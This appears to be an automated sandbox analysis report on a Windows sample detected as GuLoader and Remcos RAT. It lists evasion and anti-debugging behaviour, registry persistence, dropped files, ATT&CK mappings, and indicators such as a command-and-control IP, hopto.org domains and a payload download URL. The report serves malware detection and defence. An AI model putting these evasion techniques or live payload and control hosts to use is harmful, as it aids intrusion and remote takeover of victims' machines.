Play interactive tour

Edit tour

Analysis Report CompanyLicense.exe

Overview

General Information

Sample Name:	CompanyLicense.exe
Analysis ID:	341661
MD5:	ace3e9fc3a2277aa4e72881c9f204642
SHA1:	50337a4aa52b65cac5fd2745c3fe7d88d503d00f
SHA256:	c6cf35735aff0eba459a6a1f4b65722ba08dfb0beed54b0df8e9be3ec3edba98
Most interesting Screenshot:

Detection

Remcos GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Remcos

Yara detected GuLoader

Yara detected Remcos RAT

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Contains functionality to hide a thread from the debugger

Creates autostart registry keys with suspicious values (likely registry only malware)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Hides threads from debuggers

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

CompanyLicense.exe (PID: 5148 cmdline: 'C:\Users\user\Desktop\CompanyLicense.exe' MD5: ACE3E9FC3A2277AA4E72881C9F204642)

CompanyLicense.exe (PID: 6572 cmdline: 'C:\Users\user\Desktop\CompanyLicense.exe' MD5: ACE3E9FC3A2277AA4E72881C9F204642)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: CompanyLicense.exe PID: 6572	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: CompanyLicense.exe PID: 6572	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: CompanyLicense.exe PID: 6572	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: CompanyLicense.exe PID: 5148	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: CompanyLicense.exe PID: 5148	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Remcos

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\CompanyLicense.exe, ProcessId: 6572, TargetFilename: C:\Users\user\AppData\Roaming\remcos\logs.dat

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: Process Memory Space: CompanyLicense.exe PID: 6572, type: MEMORY

Compliance:

Uses 32bit PE files

Show sources

Source: CompanyLicense.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 185.140.53.253:2048

Source: Joe Sandbox View

IP Address: 185.140.53.253 185.140.53.253

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: CompanyLicense.exe, 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp

String found in binary or memory: https://onedrive.live.com/download?cid=3EA7AF3CF2A8B6E2&resid=3EA7AF3CF2A8B6E2%21118&authkey=AM5VKIx

E-Banking Fraud:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: Process Memory Space: CompanyLicense.exe PID: 6572, type: MEMORY

System Summary:

Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A08D5 EnumWindows,NtSetInformationThread,	0_2_020A08D5
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A8B16 NtProtectVirtualMemory,	0_2_020A8B16
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A474B NtSetInformationThread,	0_2_020A474B
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A0D52 NtWriteVirtualMemory,TerminateProcess,	0_2_020A0D52
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A8E25 NtProtectVirtualMemory,	0_2_020A8E25
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A38A7 NtWriteVirtualMemory,	0_2_020A38A7
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A34CD NtWriteVirtualMemory,	0_2_020A34CD
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A36D0 NtWriteVirtualMemory,	0_2_020A36D0
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A0917 NtSetInformationThread,	0_2_020A0917
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A35EF NtWriteVirtualMemory,	0_2_020A35EF
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A35E2 NtWriteVirtualMemory,	0_2_020A35E2
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00568B16 NtProtectVirtualMemory,	1_2_00568B16
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00568EC6 NtSetInformationThread,	1_2_00568EC6
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00569248 NtSetInformationThread,	1_2_00569248
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_0056910C NtSetInformationThread,	1_2_0056910C
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00569436 NtSetInformationThread,	1_2_00569436
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00568FE0 NtSetInformationThread,	1_2_00568FE0
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_005695B9 NtSetInformationThread,	1_2_005695B9

Source: C:\Users\user\Desktop\CompanyLicense.exe

Code function: 0_2_004041A1

0_2_004041A1

Source: CompanyLicense.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Internering2.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: CompanyLicense.exe, 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSKULPTURUDSTILLING.exe vs CompanyLicense.exe
Source: CompanyLicense.exe, 00000000.00000002.667883059.0000000002090000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs CompanyLicense.exe
Source: CompanyLicense.exe, 00000001.00000000.666580572.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSKULPTURUDSTILLING.exe vs CompanyLicense.exe
Source: CompanyLicense.exe, 00000001.00000002.1001890961.000000001DEF0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs CompanyLicense.exe
Source: CompanyLicense.exe, 00000001.00000002.1001872713.000000001DDA0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs CompanyLicense.exe
Source: CompanyLicense.exe	Binary or memory string: OriginalFilenameSKULPTURUDSTILLING.exe vs CompanyLicense.exe

Source: CompanyLicense.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/3@74/2

Source: C:\Users\user\Desktop\CompanyLicense.exe

File created: C:\Users\user\AppData\Roaming\remcos

Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe

Mutant created: \Sessions\1\BaseNamedObjects\idle-C625D6

Source: C:\Users\user\Desktop\CompanyLicense.exe

File created: C:\Users\user\AppData\Local\Temp\~DF35090EC034E56AF4.TMP

Jump to behavior

Source: CompanyLicense.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\CompanyLicense.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe

File read: C:\Users\user\Desktop\CompanyLicense.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CompanyLicense.exe 'C:\Users\user\Desktop\CompanyLicense.exe'
Source: unknown	Process created: C:\Users\user\Desktop\CompanyLicense.exe 'C:\Users\user\Desktop\CompanyLicense.exe'
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process created: C:\Users\user\Desktop\CompanyLicense.exe 'C:\Users\user\Desktop\CompanyLicense.exe'	Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CompanyLicense.exe PID: 6572, type: MEMORY
Source: Yara match	File source: Process Memory Space: CompanyLicense.exe PID: 5148, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: CompanyLicense.exe PID: 6572, type: MEMORY
Source: Yara match	File source: Process Memory Space: CompanyLicense.exe PID: 5148, type: MEMORY

Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_00405695 push edi; ret		0_2_0040569C
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A5757 push edi; ret		0_2_020A575A

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\CompanyLicense.exe

File created: C:\Users\user\AppData\Local\Temp\Arsenation\Internering2.exe

Jump to dropped file

Boot Survival:

Creates autostart registry keys with suspicious values (likely registry only malware)

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Hamid C:\Users\user\AppData\Local\Temp\Arsenation\Internering2.vbs			Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Hamid C:\Users\user\AppData\Local\Temp\Arsenation\Internering2.vbs			Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Hamid	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Hamid	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Hamid	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Hamid	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A0D52 NtWriteVirtualMemory,TerminateProcess,		0_2_020A0D52
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A0BD7 TerminateProcess,		0_2_020A0BD7

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe

RDTSC instruction interceptor: First address: 0000000000562BFB second address: 0000000000562BFB instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: CompanyLicense.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe

RDTSC instruction interceptor: First address: 0000000000562BFB second address: 0000000000562BFB instructions:

Source: C:\Users\user\Desktop\CompanyLicense.exe

Code function: 0_2_020A0D52 rdtsc

0_2_020A0D52

Source: C:\Users\user\Desktop\CompanyLicense.exe

Window / User API: threadDelayed 930

Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe TID: 6792	Thread sleep count: 930 > 30			Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe TID: 6792	Thread sleep time: -9300000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\CompanyLicense.exe	Last function: Thread delayed

Source: CompanyLicense.exe

Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe

Code function: 0_2_020A08D5 NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6DDC21B5,6DDB9555,?,321C9581,?,020A8349

0_2_020A08D5

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\CompanyLicense.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\CompanyLicense.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\CompanyLicense.exe

Code function: 0_2_020A0D52 rdtsc

0_2_020A0D52

Source: C:\Users\user\Desktop\CompanyLicense.exe

Code function: 0_2_020A457E LdrInitializeThunk,

0_2_020A457E

Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A2C10 mov eax, dword ptr fs:[00000030h]	0_2_020A2C10
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A2259 mov eax, dword ptr fs:[00000030h]	0_2_020A2259
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A2C7B mov eax, dword ptr fs:[00000030h]	0_2_020A2C7B
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A7679 mov eax, dword ptr fs:[00000030h]	0_2_020A7679
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A3CAD mov eax, dword ptr fs:[00000030h]	0_2_020A3CAD
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A833C mov eax, dword ptr fs:[00000030h]	0_2_020A833C
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 0_2_020A6F42 mov eax, dword ptr fs:[00000030h]	0_2_020A6F42
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00566F42 mov eax, dword ptr fs:[00000030h]	1_2_00566F42
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00567679 mov eax, dword ptr fs:[00000030h]	1_2_00567679
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_0056833C mov eax, dword ptr fs:[00000030h]	1_2_0056833C
Source: C:\Users\user\Desktop\CompanyLicense.exe	Code function: 1_2_00563CAB mov eax, dword ptr fs:[00000030h]	1_2_00563CAB

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\CompanyLicense.exe

Process created: C:\Users\user\Desktop\CompanyLicense.exe 'C:\Users\user\Desktop\CompanyLicense.exe'

Jump to behavior

Source: CompanyLicense.exe, 00000001.00000002.998846227.0000000002527000.00000004.00000040.sdmp	Binary or memory string: Program Manager
Source: CompanyLicense.exe, 00000001.00000002.998765960.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: CompanyLicense.exe, 00000001.00000002.998765960.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: logs.dat.1.dr	Binary or memory string: [ Program Manager ]
Source: CompanyLicense.exe, 00000001.00000002.998765960.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: CompanyLicense.exe, 00000001.00000002.998846227.0000000002527000.00000004.00000040.sdmp	Binary or memory string: Program Managerrgo.org
Source: CompanyLicense.exe, 00000001.00000002.998846227.0000000002527000.00000004.00000040.sdmp	Binary or memory string: Program Manager9

Stealing of Sensitive Information:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: Process Memory Space: CompanyLicense.exe PID: 6572, type: MEMORY

Remote Access Functionality:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: Process Memory Space: CompanyLicense.exe PID: 6572, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Registry Run Keys / Startup Folder11	Process Injection12	Masquerading1	OS Credential Dumping	Security Software Discovery721	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder11	Virtualization/Sandbox Evasion22	LSASS Memory	Virtualization/Sandbox Evasion22	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery31	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sheilabeltagy3m.hopto.org	1%	Virustotal		Browse

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sheilabeltagy3m.hopto.org	185.140.53.253	true	false	1%, Virustotal, Browse	unknown
northside.hopto.org	185.140.53.253	true	false		unknown
sqknbg.dm.files.1drv.com	unknown	unknown	false		high
onedrive.live.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?cid=3EA7AF3CF2A8B6E2&resid=3EA7AF3CF2A8B6E2%21118&authkey=AM5VKIx	CompanyLicense.exe, 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.140.53.253	unknown	Sweden		209623	DAVID_CRAIGGG	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	341661
Start date:	19.01.2021
Start time:	17:13:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	CompanyLicense.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/3@74/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 32.8% (good quality ratio 22.5%) Quality average: 43.7% Quality standard deviation: 33%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 13.88.21.125, 52.147.198.201, 13.107.42.13, 13.107.42.12, 51.11.168.160, 92.122.213.194, 92.122.213.247, 52.254.96.93, 52.251.11.100, 20.54.26.129, 8.248.117.254, 8.248.131.254, 67.26.73.254, 8.248.137.254, 8.248.147.254, 40.88.32.150 Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, odc-dm-files-geo.onedrive.akadns.net, arc.msn.com.nsatc.net, bn2eap.displaycatalog.md.mp.microsoft.com.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, l-0004.l-msedge.net, skypedataprdcoleus15.cloudapp.net, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net, odc-dm-files.onedrive.akadns.net.l-0003.dc-msedge.net.l-0003.l-msedge.net, l-0003.l-msedge.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, auto.au.download.windowsupdate.com.c.footprint.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, odc-dm-files-brs.onedrive.akadns.net, odc-web-geo.onedrive.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:14:22	API Interceptor	1384x Sleep call for process: CompanyLicense.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.140.53.253	16Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	15Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse
	58Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	57Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse
	15Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	14Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse
	57Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	56Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DAVID_CRAIGGG	Purchase Order 2094742424.exe	Get hash	malicious	Browse	185.244.30.132
	PURCHASE OREDER. PRINT. pdf.exe	Get hash	malicious	Browse	91.193.75.45
	PO.exe	Get hash	malicious	Browse	185.140.53.234
	SWIFT.exe	Get hash	malicious	Browse	185.140.53.154
	SecuriteInfo.com.BScope.Trojan-Dropper.Injector.exe	Get hash	malicious	Browse	185.140.53.234
	PROOF OF PAYMENT.exe	Get hash	malicious	Browse	185.140.53.131
	Orden n.#U00ba STL21119, pdf.exe	Get hash	malicious	Browse	185.140.53.129
	Proof of Payment.exe	Get hash	malicious	Browse	185.244.30.51
	DxCHoDnNLn.exe	Get hash	malicious	Browse	185.140.53.202
	T7gzTHDZ7g.rtf	Get hash	malicious	Browse	185.140.53.202
	PO - 2021-000511.exe	Get hash	malicious	Browse	185.244.30.69
	PO AR483-1590436 _ J-3000 PROJT.xlsx	Get hash	malicious	Browse	185.140.53.202
	Qotation.exe	Get hash	malicious	Browse	185.140.53.154
	PO - 2021-000511.exe	Get hash	malicious	Browse	185.244.30.69
	file.exe	Get hash	malicious	Browse	91.193.75.155
	Orden n.#U00ba 21115, pdf.exe	Get hash	malicious	Browse	185.140.53.129
	Lists.exe	Get hash	malicious	Browse	185.140.53.136
	Quotation Request.exe	Get hash	malicious	Browse	185.244.30.171
	PO-PDF_PDF.exe	Get hash	malicious	Browse	185.244.30.69
	Quiero hacer el pedido de su producto.exe	Get hash	malicious	Browse	185.244.30.18

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Arsenation\Internering2.exe Download File
Process:	C:\Users\user\Desktop\CompanyLicense.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	5.50764794769054
Encrypted:	false
SSDEEP:	768:8zNE6BYzwvWXallllllllllllllllllllllllllllllllllllllllllllllllllK:oE66zwuoPMvaB5DqinLdNW2XLnolNI8
MD5:	ACE3E9FC3A2277AA4E72881C9F204642
SHA1:	50337A4AA52B65CAC5FD2745C3FE7D88D503D00F
SHA-256:	C6CF35735AFF0EBA459A6A1F4B65722BA08DFB0BEED54B0DF8E9BE3EC3EDBA98
SHA-512:	9220FE497F297AE1D86A13DD28FFFC381A6945AC49CC2F3B904D605A193AF00DAAF18B6BC4F6E85D93F6A80B29D34DD56D7269BBC11B46D98319E571989E721F
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I...................................Rich............................PE..L......T................. ...`...............0....@.................................%...........................................(....P..p>..................................................................8... ....................................text...p........ .................. ..`.data........0.......0..............@....rsrc...p>...P...@...@..............@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Arsenation\Internering2.vbs Download File
Process:	C:\Users\user\Desktop\CompanyLicense.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	119
Entropy (8bit):	4.835449331887728
Encrypted:	false
SSDEEP:	3:jfF+m8nhvF3mRDt+kiE2J5xAIKQNNApUiMn:jFqhv9Iwkn23fJNN+Uvn
MD5:	3166A889BD35A61A06116E63BED83855
SHA1:	55C2B6B33B9B8DCED197373E2627F9679E29B1B9
